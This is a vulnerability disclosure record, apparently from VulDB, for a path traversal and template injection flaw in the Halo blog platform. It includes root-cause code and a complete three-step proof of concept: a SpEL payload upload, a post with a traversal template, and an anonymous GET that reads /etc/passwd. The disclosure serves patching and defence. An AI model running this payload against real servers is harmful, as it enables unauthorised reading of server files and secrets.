| Title | halo-sigs Halo ≤ 2.27.0-beta.1 Arbitrary File Read |
|---|
| Description | | Item | Details |
| :--- | :--- |
| **Vulnerability** | Path Traversal leading to SSTI & Arbitrary File Read |
| **Affected Versions** | Halo $\le$ 2.27.0-beta.1 (Tested: 2.6.1) |
| **Vulnerability URL** | `GET /archives/{slug}?f={filepath}` (Publicly accessible after publishing) |
| **Auth Requirements** | Low-privilege user (Author) required for deployment; **Unauthenticated** for trigger |
| **GitHub Repository** | https://github.com/halo-dev/halo |
## Vulnerability Description
Halo's article template resolution contains a path traversal vulnerability. Users can set traversal sequences (`../`) via the `Post.spec.template` field, forcing the Thymeleaf template engine to load arbitrary `.html` files outside the `templates` directory.
Attackers can pre-upload an HTML file containing a SpEL expression, reference it via path traversal, and use `org.apache.commons.io.IOUtils` (which was missed by the Thymeleaf security blacklist) to read arbitrary files from the server. Once published, the vulnerability is triggered via the public permalink (`/archives/{slug}`) with **zero authentication required**.
---
## Root Cause Analysis
### 3.1 Missing Path Traversal Validation in View Name Resolver
**File**: `application/src/main/java/run/halo/app/theme/DefaultViewNameResolver.java`
```java
public Mono<String> resolveViewNameOrDefault(ServerWebExchange exchange, String name, String defaultName) {
if (StringUtils.isBlank(name)) {
return Mono.justOrEmpty(defaultName);
}
return themeResolver
.getTheme(exchange)
.mapNotNull(themeContext -> {
String templateResourceName = computeResourceName(name);
// Flaw: Path.resolve does not normalize "../", only Files.exists is checked
var resourcePath = themeContext.getPath().resolve(TEMPLATES).resolve(templateResourceName);
return Files.exists(resourcePath) ? name : defaultName;
})
.switchIfEmpty(Mono.justOrEmpty(defaultName));
}
```
### 3.2 Unvalidated Input in `spec.template`
**File**: `application/src/main/java/run/halo/app/core/endpoint/uc/UcPostEndpoint.java`
```java
private static void copyEditableSpec(Post.PostSpec source, Post.PostSpec target) {
target.setTitle(source.getTitle());
target.setSlug(source.getSlug());
target.setTemplate(source.getTemplate()); // ← Direct user input assignment without format validation
target.setCover(source.getCover());
}
```
### 3.3 Trigger Chain via Public Permalink Rendering
**File**: `application/src/main/java/run/halo/app/theme/router/factories/PostRouteFactory.java`
```java
private Mono<ServerResponse> postResponse(ServerRequest request, PostPatternVariable patternVariable) {
Mono<PostVo> postVoMono = bestMatchPost(patternVariable);
return postVoMono
.flatMap(postVo -> {
Map<String, Object> model = ModelMapUtils.postModel(postVo);
return postViewNameResolver
.resolveViewNameOrDefault(request, postVo) // ← Passes spec.template
.flatMap(templateName -> ServerResponse.ok().render(templateName, model));
});
}
```
### 3.4 SSTI Blacklist Bypass: Unrestricted IOUtils
Halo uses a forked Thymeleaf version with a class/method blacklist for SpEL expressions, blocking dangerous classes like `Runtime`, `ProcessBuilder`, and `Files`. However, `org.apache.commons.io.IOUtils` and `org.springframework.core.io.FileSystemResource` were left off the blacklist:
```java
FileSystemResource(path).getURL() → Returns file: URL (unblocked)
IOUtils.toString(file_url) → Reads file contents via URLConnection.getInputStream()
```
---
## Exploitation Steps
### Step 1: Upload SpEL Payload File
*(Requires attachment upload permissions, e.g., admin or `uc-attachment-manager` role)*
```http
POST /apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload HTTP/1.1
Host: target:8080
Cookie: SESSION=<YOUR_SESSION>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="halo_lfi.html"
Content-Type: text/html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body><div th:text="|${T(org.apache.commons.io.IOUtils).toString(new org.springframework.core.io.FileSystemResource(param.f[0]).getURL())}|">X</div></body>
</html>
------WebKitFormBoundary--
```
### Step 2: Create and Publish Article with Traversal Template
```http
POST /apis/uc.api.content.halo.run/v1alpha1/posts HTTP/1.1
Host: target:8080
Cookie: SESSION=<YOUR_SESSION>
Content-Type: application/json
{
"apiVersion": "content.halo.run/v1alpha1",
"kind": "Post",
"metadata": {
"generateName": "post-",
"annotations": {
"content.halo.run/content-json": "{\"raw\":\"<p>t</p>\",\"content\":\"<p>t</p>\",\"rawType\":\"HTML\"}"
}
},
"spec": {
"title": "lfi",
"slug": "lfi-poc",
"template": "../../../attachments/upload/halo_lfi",
"deleted": false,
"publish": true,
"pinned": false,
"priority": 0,
"allowComment": true,
"visible": "PUBLIC",
"excerpt": {"autoGenerate": true}
}
}
```
### Step 3: Read Arbitrary Files Anonymously
*(Requires **no cookies** or authentication)*
```http
GET /archives/lfi-poc?f=/etc/passwd HTTP/1.1
Host: target:8080 |
|---|
| User | BlackSpdier (UID 89912) |
|---|
| Submission | 09/29/2026 09:07 (1 month ago) |
|---|
| Moderation | 10/25/2026 10:08 (26 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 426185 [halo-dev halo up to 2.27.0-beta.1 View Name Resolver DefaultViewNameResolver.java template path traversal] |
|---|
| Points | 17 |
|---|